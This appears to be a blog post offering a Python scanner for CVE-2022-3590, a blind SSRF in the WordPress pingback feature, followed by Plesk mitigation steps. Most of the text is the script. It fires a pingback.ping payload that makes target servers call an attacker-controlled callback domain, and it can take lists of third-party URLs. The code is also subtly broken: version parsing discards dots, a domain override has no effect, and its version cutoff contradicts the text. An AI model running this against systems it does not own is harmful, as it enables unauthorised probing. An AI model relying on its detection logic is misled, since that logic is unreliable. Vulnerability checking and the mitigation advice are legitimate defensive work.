How to Check If a WordPress Website is Vulnerable to CVE-2022-3590

In the digital world, security is paramount. As technology advances, so do the threats that seek to exploit it.

One such threat is the CVE-2022-3590 vulnerability, an unauthenticated blind Server-Side Request Forgery (SSRF) in the pingback feature of WordPress.

WordPress versions <= 6.4.1 are vulnerable to CVE-2022-3590 when XML-RPC or pingbacks are enabled.

This means that your website could be exposed to blind Server Side Request Forgery (SSRF) attacks, potentially revealing sensitive information from your server.

The CVE-2022-3590 WordPress Vulnerability Scanner

Discover if your WordPress website is at risk with this powerful Python script. It specifically targets the CVE-2022-3590 vulnerability, which takes advantage of an unauthenticated blind Server-Side Request Forgery (SSRF) in the pingback feature of WordPress.

import argparse
import re
import requests
import urllib.parse
from packaging import version
from typing import Optional

BANNER = """
   ___  __   __  ___         ___    __    ___   ___         ____  ___   ___    __
  / __| \ \ / / | __|  ___  |_  )  /  \  |_  ) |_  )  ___  |__ / | __| / _ \  /  \\
 | (__   \ V /  | _|  |___|  / /  | () |  / /   / /  |___|  |_ \ |__ \ \_, / | () |
  \___|   \_/   |___|       /___|  \__/  /___| /___|       |___/ |___/  /_/   \__/

           ----------------------------------------------
           | Author:   | @hxlxmj                        |
           | Github:   | https://github.com/hxlxmjxbbxs |
           | Released: | 06/12/2023                     |
           ----------------------------------------------
"""

DEFAULT_DOMAIN = "REPLACE_THIS_WITH_YOUR_OWN_INTERACTSH_DOMAIN" # Visit this link https://app.interactsh.com/ copy the generated host and paste it in here
PAYLOAD_TEMPLATE = '<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>{pingback_url}</string></value></param><param><value><string>http://{domain}/</string></value></param></params></methodCall>'


def banner():
    print(BANNER)


def get_request(session, url, error_msg):
    try:
        return session.get(url)
    except requests.exceptions.RequestException as e:
        handle_request_exception(e, error_msg)
        return None


def get_wordpress_version(session, url):
    response = get_request(session, url, "getting WordPress version")
    if response:
        version_match = re.search('content="WordPress ([^\s]+)', response.text)
        if version_match:
            version_string = re.sub(r"\D", "", version_match.group(1))
            return version.parse(version_string)
    return None


def is_pingback_enabled(session, url):
    response = get_request(session, url + "/xmlrpc.php?rsd", "checking pingback feature")
    return response is not None and (
        f'<api name="pingback" blogID="1" preferred="false" apiLink="{url}/xmlrpc.php?pingback" />'
        in response.text
    )


def print_info(message, is_vulnerable=False):
    if is_vulnerable:
        print(f"\033[92m[-] {message}\033[0m")
    else:
        print(f"[-] {message}")


def print_error(message):
    print(f"\033[91m[-] {message}\033[0m")


def handle_request_exception(exception, operation):
    error_message = str(exception)
    if "Failed to establish a new connection" in error_message:
        error_message = "Failed to establish a new connection (Connection Issue)"
    print_error(f"An error occurred while {operation}: {error_message}\n")


def check_cve_2022_3590(session, url, domain=None):
    wp_version = get_wordpress_version(session, url)
    if wp_version and wp_version > version.parse("6.2"):
        print_info(f"{url} is not vulnerable (WordPress version > 6.2).\n")
        return

    if not is_pingback_enabled(session, url):
        print_info(f"{url} is not vulnerable (Pingback feature is disabled).\n")
        return

    target_url = url + "/xmlrpc.php"
    if not domain:
        domain = DEFAULT_DOMAIN
    pingback_url = "http://127.0.0.1/"
    payload = PAYLOAD_TEMPLATE.format(pingback_url=pingback_url, domain=domain)
    encoded_payload = urllib.parse.quote(payload)

    try:
        response = session.post(target_url, data=encoded_payload)
        response.raise_for_status()
        data = response.json()
    except requests.exceptions.HTTPError as e:
        print_info(f"HTTP error occurred: {e}\n")
        return
    except requests.exceptions.RequestException as e:
        handle_request_exception(e, "")
        return
    except ValueError:  # includes simplejson.errors.JSONDecodeError
        data = None

    if data and "faultCode" in data and data["faultCode"] == 0:
        print_info(f"{url} is vulnerable!", is_vulnerable=True)
    else:
        print_info(f"{url} is not vulnerable.\n")


def main():
    banner()
    parser = argparse.ArgumentParser(
        description="Check if a given WordPress website is vulnerable to the CVE-2022-3590 vulnerability by exploiting the blind SSRF in the pingback feature."
    )
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-u", "--url", help="The URL of the WordPress website to check")
    group.add_argument(
        "-f",
        "--file",
        help="A file containing a list of URLs of WordPress websites to check",
    )
    parser.add_argument("-d", "--domain", help="The domain controlled by the attacker")
    parser.add_argument(
        "--attacker-domain", help="The domain controlled by the attacker (DEFAULT_DOMAIN)"
    )
    args = parser.parse_args()

    if args.attacker_domain:
        DEFAULT_DOMAIN = args.attacker_domain

    with requests.Session() as session:
        if args.file:
            with open(args.file, "r") as file:
                urls = [url.strip() for url in file.readlines()]
            for url in urls:
                check_cve_2022_3590(session, url, args.domain)
        else:
            check_cve_2022_3590(session, args.url, args.domain)


if __name__ == "__main__":
    main()

Getting started is easy. Follow these instructions to use the script and ensure your website’s security.

Prerequisites:

  • Python 3
  • Requests library

Installation is a breeze. Simply use pip to install the necessary requirements with the following command:

pip install -r requirements.txt

Usage is straightforward. Execute the script from the command line using the provided syntax:

python3 CVE-2022-3590.py [-u URL | -f FILE] [-d DOMAIN]

Here’s a breakdown of each argument:

-u URL or --url URL: Check the vulnerability of a single WordPress website using its URL.
-f FILE or --file FILE: Check a list of WordPress websites by providing a file containing their URLs.
-d DOMAIN or --domain DOMAIN: Specify the attacker-controlled domain. You can utilize public.requestbin.com or app.interactsh.com.

To scan a single website, use the command:

python3 CVE-2022-3590.py -u https://yourdomaindotcom

To scan multiple websites from a file, utilize the following command:

python3 CVE-2022-3590.py -f urls.txt

Expect crisp output. The script will inform you whether each scanned website is vulnerable to the CVE-2022-3590 vulnerability.

Mitigations

Unfortunately, there is currently no fix available from the vendor to address this vulnerability. However, there is a way to mitigate the risk using WP Toolkit.

To protect your website, we recommend taking the following actions:

1. Update the WP Toolkit extension in Plesk.

2. Mitigate the vulnerability by either disabling xmlrpc.php or turning off pingbacks, depending on your WordPress configuration.

For the most secure option, disable xmlrpc.php. This should only be done if your WordPress instance does not rely on XML-RPC.

Simply log in to Plesk, go to WordPress, click on “yourdomain dot com”, tap “Fix vulnerabilities”, go to Security Measures, select “Block unauthorized access to xmlrpc.php,” and click “Secure.” Be sure to repeat these steps for all other WordPress instances hosted on your server.

If your WordPress instance depends on XML-RPC, a less secure option is to disable pingbacks. To do this, log in to Plesk, go to WordPress, click on “yourdomain dot com”, tap “Fix vulnerabilities”, go to Security Measures, select “Turn off pingbacks,” and click “Secure.” Again, repeat these steps for every other WordPress instance hosted on your server.

Don’t wait until it’s too late. Take action now to safeguard your WordPress website from potential exploits.